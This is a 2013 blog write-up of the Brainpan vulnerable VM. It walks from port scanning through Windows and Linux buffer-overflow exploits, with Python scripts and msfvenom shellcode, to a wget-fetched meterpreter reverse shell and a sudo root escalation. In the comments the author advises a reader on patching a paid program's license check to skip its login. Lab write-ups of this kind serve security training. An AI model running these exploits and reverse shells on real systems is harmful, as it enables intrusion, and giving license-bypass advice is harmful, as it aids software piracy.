Hacking

Brainpan

October 21, 2013 by Interference Security

Brainpan is a vulnerable virtual machine created by superkojiman. It’s a vulnerable virtual machine with vulnerable services and it’s not intended for production use. It’s designed to gain root access on the machine.

The virtual machine can be downloaded from these links:

Direct download: http://download.vulnhub.com/brainpan/Brainpan.zip

Torrent download: http://download.vulnhub.com/brainpan/Brainpan.zip.torrent

Installation

The downloaded ZIP file “brainpan.zip” contains the OVA file and can be imported in VMWare and Virtualbox. It’s network connectivity is set to bridge by default, but it can be changed to NAT or host-only. Since it’s vulnerable, it’s recommended to set it up in NAT or a host-only network connection.

Attacking Brainpan

First, discover the active hosts in the network and their IP address.

[plain]
for ip in 192.168.1.{1..10}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip} is up”; done
[/plain]

Brainpan VM is running on this IP address: 10.0.0.6

Pentester is on this IP address: 10.0.0.2

Port scanning is via 10.0.0.6

[plain]
nmap 10.0.0.6 -p 1-65535
[/plain]

We have two TCP ports, 9999 and 10000, open in Brainpan.

Here’s how to detect it’s service version and operating system with nmap:

[plain]
nmap -sV -O 10.0.0.6 -p 9999,10000
[/plain]

Port 9999 is running a service called abyss, and port 10000 is running a web server.

This is what’s seen when connecting to http://10.0.0.6:10000/:

The HTML source also doesn’t have anything interesting. It’s a simple image and the page has no other links, CSS or Javascript.

Here’s what’s seen when connecting to 10.0.0.6 on port 9999 using netcat:

[plain]
nc 10.0.0.6 9999
[/plain]

After connecting, the service asks for a password. Try entering anything as the password. I used “brainpan.”

It shows “ACCESS DENIED”.

Let’s go back to the website hosted on brainpan. We used the “dirbuster” (Directory Buster) tool to bruteforce the directories and to find something to start with.

Dirbuster:

After letting it run for a while, we find only one directory, “bin.” Browsing to that directory over HTTP is where we find the directory listing.

It shows a “brainpan.exe”file. It seems to be a Windows a executable, but let’s test it using “file” command:

[plain]
file brainpan.exe
[/plain]

brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

[plain]
binwalk brainpan.exe
[/plain]

Loading the file into IDA and looking at the strings in the executable shows this:

Note that there’s a string containing “shitstorm” in the list.

Now let’s look at the functions in the executable:

From the functions listed and identified by IDA, we can see that it’s a network server application, because it’s using the socket, bind, send, recv, listen and accept functions. Some of the more interesting functions are strcmp, strlen, printf and strcpy. “strcpy” is the most important function here because it’s vulnerable to a buffer overflow attack. We might be able to execute such an attack on this executable.

When we run the executable, we see:

The server is accepting connections on port 9999. Let’s use netcat to connect to port 9999 on 127.0.0.1:

So it’s the same service that’s running on brainpan port 9999. In the mean time, this is what we get on server application:

The “strcmp” function in the executable is comparing the user entered password with the correct password. Let’s load the application in IDA, and set a breakpoint on “strcmp” by pressing F2.

Select “Local Win32 Debugger” and start debugging.

Before we hit the breakpoint:

Enter any password and press enter. Now we’ve hit the breakpoint:

Press F8 to “Step Over” the instructions and you will note “aShitstorm” in ECX. Hover over it and it will show the value “shitstorm”.

So, strcmp is comparing the user’s input to the value “shitstorm.” Now enter “shitstorm” as the password.

We got the password, but nothing happened except the “ACCESS GRANTED” message.

Let’s try to exploit the “strcpy” function using buffer overflow.

To send data to the server on port 9999, use this Python script:

[python]
import sys,socket

data = “a”*1000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(data)
print s.recv(1024)

s.close()
[/python]

This script sends a long string of a length of 1000, containing only the “a” character. It accepts the server and port number as command line arguments.

Executing the Python script with the arguments does the following:

[plain]
python brainpan9999.py 127.0.0.1 9999
[/plain]

The application crashed! Here’s the Windows error message:

Let’s load it into Immunity Debugger and see what’s happening inside the application during the crash. Open the executable and start running it, and then send data using the Python script.

The application crashes with an error that the instruction at 0x61616161 could not be read.

The stack contains our long string:

The instruction pointer EIP points at our character “a” sequence, 0x61616161 (The ASCII code of “a” is 61). The status of the registers is:

That means that we control the EIP value. We have to find the exact number of characters that overwrite the EIP. For that use “mona.py,” which is a plugin for Immunity Debugger.

Generate a pattern using the following command:

[plain]
!mona pattern_create 1000
[/plain]

The pattern is created in a file named “pattern.txt/” This file is created in the installation directory of Immunity Debugger. Edit the file and remove all text, except the pattern.

You have to enter the command in the long white input box at the bottom of Immunity Debugger.

Here’s the Python script to send the pattern as input to the server:

[python]
import sys,socket

f = open(“pattern.txt”,”r”)
data = str(f.readlines())

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(data)
print s.recv(1024)

s.close()
[/python]

The registers contain:

The EIP contains 41347241. It’s the decimal representation of a part of our input string. Find its position in the input string using this command:

[plain]
!mona pattern_offset 41347241
[/plain]

The output said it was at 522, but the EIP was being overwritten at 524.

Here’s the Python script to test the execution:

[python]
import sys,socket

data = (“a”*524) + (“bbbb”) + (“c”*500)

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(data)
print s.recv(1024)

s.close()
[/python]

Here’s the register status after execution:

The EIP is set to 62626262, which is “bbbb” in our Python script.

The stack contains all “c” characters:

So the structure of the input should be like this:

We have to jump to our shellcode in the stack. EIP should jump to the stack.

To jump to the stack we need address of the instruction “JMP ESP”.

To find the address, right click on “Search for,” and click on all sequences in all modules.

Type “jmp esp” without double quotes:

There is a “JMP ESP” in brainpan.exe. The address of the instruction is 311712F3.

Generate a test shellcode for calc.exe using msfvenom:

[plain]
msfvenom -p windows/exec CMD=calc.exe -b “x00” -f py
[/plain]

Here’s the Python script with the test shellcode:

[python]
import sys,socket

eip = “xf3x12x17x31”
buf = “x90″*10 # NOP sled
buf += “xd9xc0xd9x74x24xf4x5bxbax7dx05xcdx8fx31”
buf += “xc9xb1x33x31x53x17x03x53x17x83x96xf9x2f”
buf += “x7ax94xeax39x85x64xebx59x0fx81xdax4bx6b”
buf += “xc2x4fx5cxffx86x63x17xadx32xf7x55x7ax35”
buf += “xb0xd0x5cx78x41xd5x60xd6x81x77x1dx24xd6”
buf += “x57x1cxe7x2bx99x59x15xc3xcbx32x52x76xfc”
buf += “x37x26x4bxfdx97x2dxf3x85x92xf1x80x3fx9c”
buf += “x21x38x4bxd6xd9x32x13xc7xd8x97x47x3bx93”
buf += “x9cxbcxcfx22x75x8dx30x15xb9x42x0fx9ax34”
buf += “x9ax57x1cxa7xe9xa3x5fx5axeax77x22x80x7f”
buf += “x6ax84x43x27x4ex35x87xbex05x39x6cxb4x42”
buf += “x5dx73x19xf9x59xf8x9cx2exe8xbaxbaxeaxb1”
buf += “x19xa2xabx1fxcfxdbxacxc7xb0x79xa6xe5xa5”
buf += “xf8xe5x63x3bx88x93xcax3bx92x9bx7cx54xa3”
buf += “x10x13x23x3cxf3x50xdbx76x5exf0x74xdfx0a”
buf += “x41x19xe0xe0x85x24x63x01x75xd3x7bx60x70”
buf += “x9fx3bx98x08xb0xa9x9exbfxb1xfbxfcx5ex22”
buf += “x67x2dxc5xc2x02x31”
data = (“a”*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(data)
print s.recv(1024)

s.close()
[/python]

We used a NOP sled of 10 bytes, so that JMP ESP points to somewhere in the NOP sled and executes the shellcode later on.

After executing the python script, we see this:

We do get a remote shell using msfpayload “linux/x86/meterpreter/reverse_tcp” or “linux/x86/shell/reverse_tcp.” But the connection closes after a while because our crashed brainpan.exe restarts.

We can solve this problem using these steps:

  1. Download meterpreter binary on the brainpan server.
  2. Enter “chmod 777 brainpan-meterpreter”
  3. Execute brainpan-meterpreter

Create the brainpan-meterpreter binary:

[plain]
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -b “x00” -f elf > /var/www/brainpanmsf
[/plain]

Start the HTTP server, so that we can download the brainpanmsf binary from the pentester machine.

Generate a shellcode using msfvenom:

[plain]
msfvenom -p linux/x86/exec CMD=”wget http://10.0.0.2/brainpanmsf ; chmod 777 brainpanmsf ; ./brainpanmsf” -b “x00” -f py
[/plain]

Here’s how to use the shellcode in Python script:

[python]
import sys,socket

eip = “xf3x12x17x31”
buf = “x90″*10
buf += “xbex7bx14x1fxb7xdbxc6xd9x74x24xf4x5bx31”
buf += “xc9xb1x1cx83xebxfcx31x73x0ex03x08x1axfd”
buf += “x42x84x29x59x34x0ax48x31x6bxc9x1dx26x1b”
buf += “x22x6dxc1xdcx54xbex73xb4xcax49x90x14xfa”
buf += “x03x57x99xfaxe4x30xfcx8ex2axd7x8ax1ax5b”
buf += “x1dx5cxcdxaax51x8cx21xe3xa1xfex73xd4xa3”
buf += “x8cx12x43x4ax01xb5xfdxffx92x53x22x3bx75”
buf += “xf8x4ax56x1ax9axaax9fxd3x55x8bxbdx69xf8”
buf += “xa2x2fxfex9bx5axddx8dx3dx83x26x52xefxec”
buf += “x3axe0x8ex9bxd4x74x31x32x44x06xd7xcaxc1”
buf += “xbbx9ex2ax20xbb”
data = (“a”*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)
s.send(data)
print s.recv(1024)

s.close()
[/python]

We also need to setup msfconsole to receive the reverse TCP connection. Create a listener file titled “brainpan-listener.”

[plain]
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.0.2
set LPORT 4444
exploit
[/plain]

Start msfconsole and run the Python script.

We now have a meterpreter session open on the brainpan server.

Looking into the home directory of “puck,” we find to interesting things:

Name Type Description
checksrv.sh File This file restarts the brainpan.exe and SimpleHTTPServer if they stop at any time.
web Directory This the document root for SimpleHTTPServer. It contains the index.html, image file and “bin” directory containing the brainpan.exe file.

Use the “shell” command of meterpreter to get a shell prompt.

By using the “whoami” command, we discover that we’re the “puck” user right now.

Print the contents of the “/etc/passwd” file to find the users on brainpan.

[plain]
$ cat /etc/passwd
[/plain]

Some users on the server are “root,” “reynard,”‘ “anansi,” and “puck.”

We can find the files belonging to all these users except “root,” using the following command:

[plain]
find / -user <username>
Example: find / -user reynard
[/plain]

We find an interesting file, “validate,” located at “/usr/local/bin/validate.” This file belongs to user “anansi”. The interesting thing about the file is that it has special permissions.

Use the “stat” command to list the details of the file:

[plain]
stat /usr/local/bin/validate
[/plain]

The permissions are set to “-rwsr-xr-x.” The “s” in the permission means that it’s set with SUID access.

Explanation:In Linux, when a file is executed, it inherits the permissions of the user running the file. But when a file is set to SUID for a particular file, then the user who executes the file executes as if they’re the owner of that file.Link: http://www.howtoforge.com/linux_setting_suid_sgid_bits

Executing the “validate” file shows:

The file accepts a string as command line input and shows a response.

Let’s download this file to a penetration testing machine to analyze it further. We use the “download” command of meterpreter to download the file to our machine:

[plain]
download <soruce-file> <destination-file>
[/plain]

Here’s what we see when we check the details of the file using the “file” and “binwalk” commands:

It’s an ELF 32-bit executable file.

Here’s what it looks like when we load it in IDA:

The application just accepts a command-line argument as user input and checks if it equals 70. But, the code is never reached. Then, it copies the string to another variable using the “strcpy” function. Previously, we’ve exploited the same method using a buffer overflow attack. But this time it’s in a Linux executable.

Last time we used a Windows executable, we used Immunity Debugger. This time we’ll use the “validate” command in GDB for Linux.

Load the file in GDB:

[plain]
gdb -q ./validate
[/plain]

The “run” command of GDB is used to run the executable. When we run the executable without any arguments, we get a usage message. Running the executable with arguments gives us the message “validating input…passed.”

Disassemble the main function:

[plain]
(gdb) disas main
[/plain]

We have a validation function at the 0x80484b4 address.

Let’s disassemble the “validate” function.

[plain]
(gdb) disas 0x80484b4
[/plain]

There’s a “strcpy” in the executable. As per our analysis in IDA, it’s copying the user’s command line input string into a variable. It’s a buffer overflow vulnerable function and we can exploit it.

To input a long string as input we can use $() or ` and `. The command in between any of the two is executed in shell.

For example:

./validate $(echo “brainpan”)

Gives the output:

validating input…passed.

We can use Python to execute our code.

[python]
./validate $(python -c “print ‘a’*1000”)
[/python]

Output:

Segmentation fault

So the application crashed. Let’s load it in GDB, and then create a crash.

[python]
(gdb) run $(python -c “print ‘a’*1000”)
[/python]

The application crashes and the EIP points at 0x61616161. The decimal value of “a” is 61. So we do control the EIP in this application!

Let’s look at the registers:

[plain]
(gdb) i r
[/plain]

EIP, EBX and EBP contain a’s we sent in as user input.

The stack pointer can be viewed using:

[plain]
(gdb) x/s $esp
[/plain]

Explanation:“x” stands for examine and “s” is for string. For hex use “x” instead of “s,”Example: x/x $esp$ is appended in front of registers and pointers on stack like $ESP, $EAX, etc,

When checking the EAX register, we see that it contains our input string:

[plain]
(gdb) x/s $eax
[/plain]

We have to find the EIP overwrite position. To do that, we use the metasploit tool “pattern_create.rb,”

ruby pattern_create.rb 1000 > /root/Desktop/brainpan_files/pattern.txt

A one-line Python code can be used as an argument in the “validate” executable:

[python]
$(python -c “f=open(‘/root/Desktop/brainpan_files/pattern.txt’,’r’);data=str(f.readlines());print data”)
[/python]

The EIP overwritten with 41386441. When using “pattern_offset.rb,” we find the position of 41386441 (decimal form) in the pattern.

To test the EIP overwrite position we use this code:

[python]
$(python -c “print (‘a’*112)+(‘bbbb’)+(‘c’*100)”)
[/python]

From this, we get to know that EIP is being overwritten with 63636363, which is four “c” characters. So, the EIP is being overwritten at the 116 position. Modify the code to overwrite at 116.

[python]
$(python -c “print (‘a’*116)+(‘bbbb’)+(‘c’*100)”)
[/python]

The EIP is now being overwritten with our four “b” characters in the input string.

EAX points to our 116 “a” characters, and the stack contains:

The structure of the input string should be:

ESP points to the “c” characters, so we cannot use it to jump to our shellcode.

Previously, we discovered that EAX points to our shellcode. So, we can use it to jump to our shellcode.

“objdump” can be used to find the particular instruction to get to your shellcode.

[plain]
objdump -d validate | grep -i jmp
[/plain]

There’s no suitable JMP that could take us to the shellcode at EAX.

[plain]
objdump -d validate | grep -i call
[/plain]

We have two instructions at 080484af and 0804862b that can take us to our shellcode. It’s your choice which of the two you use. In this article we’ll be using 080484af.

Now, we have two options for our type of shellcode to use:

  1. Get a remote connection to pentester machine
  1. Use the local shell

Since we already have a meterpreter session from our previous exploit, we don’t require another remote connection. We can use our same remote shell to execute a local exploit.

Generate a “/bin/sh” shellcode using msfvenom:

[python]
msfvenom -p linux/x86/exec CMD=/bin/sh -b “x00x0axff” -f c
[/python]

The size of the shellcode is 70 bytes. But we need to fill 116 bytes. An extra 46 bytes are filled with a NOP sled, “x90″*46.

Use this one-line Python code:

[python]
$(python -c “print (‘xd9xeexd9x74x24xf4x58x33xc9xbbxdbx6fx0fx0exb1x0bx31x58x1ax03x58x1ax83xc0x04xe2x2ex05x04x56x49x88x7cx0ex44x4ex08x29xfexbfx79xdexfexd7x52x7cx97x49x24x63x35x7ex3ex64xb9x7ex10x06xd0x10x41xb5x4axedxcax6ax03x0cx39x0c’)+(‘x90’*46)+(‘xafx84x04x08’)”)
[/python]

Now, we can use our exploit on the brainpan server with the “validate” command in the executable.

Now, we’re logged in as the user “anansi.” Listing the home directory of this user displays, and we find another directory, “bin.” That directory contains a “anansi_util” file. It’s an executable. Do the following to download it to a penetration testing machine:

  1. cp /home/anansi/bin/anansi_util /tmp/
  2. Use the meterpreter shell to download what you need: download /tmp/anansi_util /root/Desktop/brainpan_files/

Seeing the strings in the executables using the “strings” function doesn’t show anything interesting. Load it in IDA and list the functions in the executable.

Note that even if we exploit the executable, we won’t have root privileges. So we have to find another way around.

The “sudo” command is used to run as another user.

sudo -l

If no command is specified, the -l (list) option will list the allowed (and forbidden) commands for the invoking user.

Running “sudo -l” on the brainpan server when logged in as “anansi” shows:

“anansi_util” can be accessed as root user without password.

So, if we change the contents of “anansi_util” and ask it to launch a shell for us, then executing “anasi_util” as sudo will give a root shell.

  1. mv anansi_util anansi_util.orig
  2. echo /bin/bash > anansi_util
  3. chmod 777 anansi_util
  4. sudo ./anansi_util

We got root!

References:

  1. http://blog.techorganic.com/2013/03/brainpan-hacking-challenge.html
  2. http://vulnhub.com/entry/brainpan_1,51/
  3. http://www.howtoforge.com/linux_setting_suid_sgid_bits
  4. http://www.securitytube.net/tags/sgde
Posted: October 21, 2013
Author
Interference Security
View Profile

Interference Security is a freelance information security researcher. Experience gained by learning, practicing and reporting bugs to application vendors. CEH certified but believes in practical knowledge and out of the box thinking rather than collecting certificates. Always open to learning more to enhance his knowledge. Information security is a hobby rather a job for him. Builds tools to automate testing and make things easier.

6 responses to “Brainpan”

  1. Yury says:

    Hello Abhineet Jayaraj,

    I’ve got a question about a program that I use, it apparently works as follows. When he runs is prompted for a user name and password, it checks the server online to verify that the information is valid. After that it opens the main program screen with the menus and their functions. It must be installed to operate.

    My question is this, there is a possibility to access the main screen without going through the login? And where I could try?

    I’m starting in the area of ​​reverse engineering and debugging.

    Sorry for my english.

    Att,
    Yury

  2. Abhineet says:

    Hi Yury,
    It would become easier for me to give you the complete solution if I can get a copy of the program you are talking about. I will try my level best to answer your question and help you out.
    Answer:
    Change the flow of the application when you click on the login button. The application sends a request to some remote server and receives a response from it. Now some comparison check is made by the application to check if the response received is correct or not. If the response is correct then you get the menu else you stay on the login screen again. Use IDA (recommended) or Ollydbg to change the instruction for comparison check. Modify it to jump to the menu no matter the comparison is true or false.
    Try it out and let me know if it helps. I hope it helps. I have one more solution which involves creating a local server and receiving the request from the program and always sending true response. It might make things more complex. If the first solution doesn’t work out then we can try the second one.

    Thanks

  3. Abhineet says:

    Hello Yury,
    I replied to your question but my comment went missing don’t know why. It would help me answer your question more clearly if I can have a copy of the program you are talking about. But still I will try my level best to help you out.
    Answer:
    The program sends the username-password to a remote server and the server generates a response for the same (assuming true/false). The response is received by the program and it compares or checks the response. If the check succeeds then the menu loads else the login is shown again. Now you can use IDA (recommended) or Ollydbg to modify the check and make it go to the menu no matter what the response from the server is. You will have to modify the instructions for this. In this way the check always evaluates to true and you get the menu for every login. The program might be much more complex than this. But this is the most basic thing I can suggest for now. I hope it helps.
    Another solution is to create a a local server and receive the request from the application there and send true for every request so that the check in the program is passed. I think it will more complex than the solution I gave above.
    Try the first one and let me know of any help you want.

    Thanks for your comment and I will look forward to helping you more.

  4. Yury says:

    Hello Abhineet,

    Sorry for the delay.
    You do not know how happy I was to see your reply, I thought that did not answer me.

    Sure you can get a copy of the program follows the link to download:
    —————————————————————–
    Download link: iBot v2.2.2 – 3740 KB [ http://www.tibiaibot.com/download/iBot%20v2_2_2.zip ]

    Requirements:
    Run program as admin if Win7.
    Microsoft .NET Framework 4 installed.
    Active iBot license.
    —————————————————————–

    I’m still a novice in this area, so do not have much knowledge.
    I’m trying to IDA, as requested, but without much success.

    If you have any material to share for beginners, would be very grateful.
    The IDA is better than Ollydgb? Should I focus on what? Have differences between them?

    Sorry for my english.

    Thanks a lot..

  5. Yury says:

    Hello Abhineet,

    Sorry for the delay.
    You do not know how happy I was to see your reply, I thought that did not answer me.
    Sure you can get a copy of the program follows the link to download:
    —————————————————————–
    Download link: iBot v2.2.2 – 3740 KB [ http://www.tibiaibot.com/download/iBot%20v2_2_2.zip ]

    Requirements:
    Run program as admin if Win7.
    Microsoft .NET Framework 4 installed.
    Active iBot license.
    —————————————————————–

    I’m still a novice in this area, so do not have much knowledge.
    I’m trying to IDA, as requested, but without much success.

    If you have any material to share for beginners, would be very grateful.
    The IDA is better than Ollydgb? Should I focus on what? Have differences between them?

    Sorry for my english.

    Thanks a lot..

  6. Abhineet says:

    Hi Yury,

    It is my pleasure to answer your query. I haven’t tried cracking the application right now. But I did google about it. I m really sorry to inform you that sharing this information here might bring legal trouble. You can tell me your email address and I will surely try to help you the best way possible. Sorry if I disappointed you.
    I won’t say that IDA is better than Ollydbg. It is just that IDA can be used as a debugger and disassembler both. It would be a lie if I say I use only IDA. Depending upon what application is in front of me I choose the tools accordingly.

Leave a Reply

Your email address will not be published.